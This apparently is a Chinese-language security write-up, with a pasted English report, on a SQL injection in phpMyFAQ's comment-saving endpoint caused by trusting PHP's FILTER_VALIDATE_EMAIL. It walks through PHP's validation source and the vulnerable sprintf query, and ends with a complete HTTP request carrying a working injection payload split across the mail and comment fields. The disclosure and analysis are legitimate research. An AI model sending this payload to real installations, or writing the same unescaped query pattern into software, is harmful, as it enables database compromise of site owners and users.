概要 去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信PHP自带的FILTER_VALIDATE_EMAIL邮箱验证。 在使用了filter_var($email,FILTER_VALIDATE_EMAIL); 验证邮箱后, 没有进一步做处理 直接格式化字符串进了sql语句导致了注入。
FILTER_VALIDATE_EMAIL 本地调试版本: PHP5.4.5 首先来看看PHP的filter_var($email,FILTER_VALIDATE_EMAIL);是如何来验证邮箱是否合法的。
https://github.com/php-src/php/blob/2b86a89193c151b5e9b098cc9aa8411abd7f30ea/ext/filter/filter.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PHP_FUNCTION(filter_var) { zend_long filter = FILTER_DEFAULT; zval *filter_args = NULL , *data; if (zend_parse_parameters(ZEND_NUM_ARGS(), "z/|lz" , &data, &filter, &filter_args) == FAILURE) { return ; } if (!PHP_FILTER_ID_EXISTS(filter)) { RETURN_FALSE; } ZVAL_DUP(return_value, data); php_filter_call(return_value, filter, filter_args, 1 , FILTER_REQUIRE_SCALAR); }
php_filter_call里调用php_zval_filter,
1 2 3 4 5 static void php_filter_call (zval *filtered, zend_long filter, zval *filter_args, const int copy, zend_long filter_flags) { ... php_zval_filter(filtered, filter, filter_flags, options, charset, copy); ... }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static void php_zval_filter (zval *value, zend_long filter, zend_long flags, zval *options, char * charset, zend_bool copy) { filter_list_entry filter_func; filter_func = php_find_filter(filter); if (!filter_func.id) { filter_func = php_find_filter(FILTER_DEFAULT); } if (copy) { SEPARATE_ZVAL(value); } ...... convert_to_string(value); filter_func.function(value, flags, options, charset);
根据id, 查找到filter_func, 然后调用指定的方法。
filter_var第二个参数为FILTER_VALIDATE_EMAIL时, 调用的是 php_filter_validate_email方法。
https://github.com/php-src/php/blob/PHP-5.4.5/ext/filter/logical_filters.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void php_filter_validate_email (PHP_INPUT_FILTER_PARAM_DECL) { const char regexp[] = "/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD" ; pcre *re = NULL ; pcre_extra *pcre_extra = NULL ; int preg_options = 0 ; int ovector[150 ]; int matches; if (Z_STRLEN_P(value) > 320 ) { RETURN_VALIDATION_FAILED } re = pcre_get_compiled_regex((char *)regexp, &pcre_extra, &preg_options TSRMLS_CC); if (!re) { RETURN_VALIDATION_FAILED } matches = pcre_exec(re, NULL , Z_STRVAL_P(value), Z_STRLEN_P(value), 0 , 0 , ovector, 3 ); if (matches < 0 ) { RETURN_VALIDATION_FAILED } }
去年提交这个漏洞的时候, 一直不知道怎么才能插入括号, 那时候用的双参数拼接的方法注入。 不过看这正则可以发现, 如果email的local part不以双引号开头和结尾, 允许的字符为 \x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E 如果以双引号开头和结尾, 允许的字符为 \x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F 且如果前面的字符为\x5c, 后面紧跟的字符允许范围为 \x00-\x7F。
在local part以双引号开头和结尾这种情况中, 括号\x28 \x29在允许的字符范围内, 所以可以把括号写到双引号中。 虽然php_filter_validate_email允许邮箱最长为320个字符, 但是local part被正则限制到最多64个字符。
漏洞分析 (直接复制当初的邮件了~~~)
In the latest version of phpMyFAQ, there is a SQL Injection vulnerability in ajaxservice.php.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 case 'savecomment' :if (!$faqConfig->get('records.allowCommentsForGuests' ) && !$user->perm->checkRight($user->getUserId(), 'addcomment' )) { $message = array ('error' => $PMF_LANG['err_NotAuth' ]); break ; } $faq = new PMF_Faq($faqConfig); $oComment = new PMF_Comment($faqConfig); $category = new PMF_Category($faqConfig); $type = PMF_Filter::filterInput(INPUT_POST, 'type' , FILTER_SANITIZE_STRING); $faqid = PMF_Filter::filterInput(INPUT_POST, 'id' , FILTER_VALIDATE_INT, 0 ); $newsid = PMF_Filter::filterInput(INPUT_POST, 'newsid' , FILTER_VALIDATE_INT); $username = PMF_Filter::filterInput(INPUT_POST, 'user' , FILTER_SANITIZE_STRING); $mail = PMF_Filter::filterInput(INPUT_POST, 'mail' , FILTER_VALIDATE_EMAIL); $comment = PMF_Filter::filterInput(INPUT_POST, 'comment_text' , FILTER_SANITIZE_SPECIAL_CHARS);
The email variable uses FILTER_VALIDATE_EMAIL to validate, but FILTER_VALIDATE_EMAIL filter cannot completely prevent SQL Injection. With this filter, single quotes and some special characters can still be used, that’s enough for SQL Injection.
1 2 3 4 5 6 7 8 9 $commentData = [ 'record_id' => $id, 'type' => $type, 'username' => $username, 'usermail' => $mail, 'comment' => nl2br($comment), 'date' => $_SERVER['REQUEST_TIME' ], 'helped' => '' , ];
The mail variable is loaded into the commentData variable,
1 $oComment->addComment($commentData)
and the commentData variable is inserted into the database directly, thus leads to SQL Injection vulnerability.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public function addComment (Array $commentData ) { $query = sprintf(" INSERT INTO %sfaqcomments VALUES (%d, %d, '%s', '%s', '%s', '%s', %d,'%s')" , PMF_Db::getTablePrefix(), $this ->config->getDb()->nextId(PMF_Db::getTablePrefix().'faqcom ments' ,'id_comment' ), $commentData['record_id' ], $commentData['type' ], $commentData['username' ], $commentData['usermail' ], $commentData['comment' ], $commentData['date' ], $commentData['helped' ] ); if (!$this ->config->getDb()->query($query)) { return false ; } return true ;}
test the phpMyFAQ demo.
Firstly, add a question and got the question id.http://denholm.demo.phpmyfaq.de/index.php?sid=620&lang=zh&action=add&cat=2
Secondly ,
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /ajaxservice.php?action=savecomment HTTP/1.1 Host: denholm.demo.phpmyfaq.de Proxy-Connection: keep-alive Content-Length: 135 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://denholm.demo.phpmyfaq.de X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Referer: http://denholm.demo.phpmyfaq.de/index.php?action=artikel&cat=1&id=2&artlang=zh Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,it;q=0.4 id=5&lang=zh&type=faq&user=xiaoyu111&mail=xiaoyu1~'/*11~%40qq.com&comment_text=*/,(select user()),1500351093,null)#&captcha=OMSNS9
References 1.https://tools.ietf.org/html/rfc3696#section-3